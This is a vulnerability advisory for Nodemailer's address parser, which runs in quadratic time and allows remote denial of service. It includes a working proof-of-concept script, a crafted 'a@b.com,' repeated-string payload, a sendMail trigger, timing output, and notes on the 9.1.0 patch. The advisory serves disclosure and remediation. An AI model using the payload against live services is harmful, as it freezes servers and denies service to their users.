Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list

Summary

Nodemailer's address parser (lib/addressparser/index.js) parses a list of comma‑separated addresses in quadratic time — O(n²) in the number of addresses. A single crafted address string (e.g. a To, Cc, Bcc, From, or Reply‑To value, or any value passed to the exported addressparser) therefore consumes CPU proportional to the square of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.

This requires no special application configuration and no cooperating receiver — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).

Details

addressparser tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (lib/addressparser/index.js, ~lines 500–505):

addresses.forEach(addr => {
    const handled = _handleAddress(addr, depth);
    if (handled.length) {
        parsedAddresses = parsedAddresses.concat(handled);   // <-- line ~503
    }
});

Array.prototype.concat builds and returns a new array containing a copy of every element accumulated so far. Reassigning parsedAddresses = parsedAddresses.concat(handled) on each of the n iterations copies 1 + 2 + 3 + … + n elements in total, i.e. O(n²) work (and O(n²) transient allocations) for an input containing n addresses. Tokenization and _handleAddress themselves are linear; the quadratic blowup is entirely this accumulator.

Root‑cause proof. Replacing only that line with an in‑place append and re‑running the exact same input:

parsedAddresses = parsedAddresses.concat(handled);      ->  100000 addresses:  ~6068 ms
parsedAddresses.push.apply(parsedAddresses, handled);   ->  100000 addresses:  ~51 ms   (≈119x faster, now linear)

Measured scaling (nodemailer 9.0.6, 'a@b.com,'.repeat(n)):

Doubling the input quadruples the time — the signature of O(n²).

Reachability. The parser is invoked on any structured‑address header value on the normal send path (MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value) → _parseAddresses → addressparser, and getEnvelope()), so a single transport.sendMail({ to: <crafted string> }) triggers it. It is also reached directly through the exported require('nodemailer/lib/addressparser'), which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: setHeader('To', 'a@b.com,'.repeat(80000)) + getEnvelope() blocks for ~3.9 s.

Suggested fix: accumulate in place instead of rebuilding the array each iteration, e.g. parsedAddresses.push.apply(parsedAddresses, handled); (or for (const h of handled) parsedAddresses.push(h);). Optionally cap the number of addresses / input length before parsing.

PoC

Environment: Node.js ≥ 18 and the published nodemailer@9.0.6. No transport, network, or configuration required — the cost is in parsing.

poc-dos.js:

'use strict';
const addressparser = require('nodemailer/lib/addressparser');

console.log('addresses | input size | parse time');
for (const n of [25000, 50000, 100000, 200000]) {
  const payload = 'a@b.com,'.repeat(n);        // n valid, comma-separated recipients
  const t0 = process.hrtime.bigint();
  addressparser(payload);                       // blocks synchronously
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB   | ' + ms.toFixed(0).padStart(7) + ' ms');
}

Run:

npm init -y && npm install nodemailer@9.0.6
node poc-dos.js

Actual output (nodemailer 9.0.6):

addresses | input size | parse time
    25000 | 0.19 MB   |     381 ms
    50000 | 0.38 MB   |    1435 ms
   100000 | 0.76 MB   |    7949 ms
   200000 | 1.53 MB   |   25154 ms

Equivalent trigger through the normal send API (freezes the event loop):

const nodemailer = require('nodemailer');
nodemailer.createTransport({ jsonTransport: true })
  .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' });
// ~15+ seconds of 100% CPU inside addressparser before anything is sent

Impact

• Who is impacted: any service that runs Nodemailer (or the standalone nodemailer/lib/addressparser) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a Reply‑To/From derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with addressparser. No authentication, special option, or particular receiver is needed.

Patched in 9.1.0

Three separate quadratic paths were fixed, not one:

• addressparser rebuilt its accumulator with concat() on every address (9116da9).
• The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through 'a, b <c@d.com>,'.repeat(n) (same commit).
• MimeNode#_convertAddresses checked recipient uniqueness with a linear scan per address (7cc38af, refined in 34da642). This was the most severe of the three and the reported proof of concept did not reach it: 'a@b.com,'.repeat(n) is one address repeated, which dedupes to a single envelope entry. A list of distinct recipients cost O(n^2) here, taking ~35s for 100k even after addressparser was fixed.

Fixed alongside: [].concat.apply in _parseAddresses threw RangeError: Maximum call stack size exceeded past roughly 124k recipients, with no crafted input needed (83b8c48).

Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new maxRecipients option (default 100000) throws rather than truncating, as a backstop.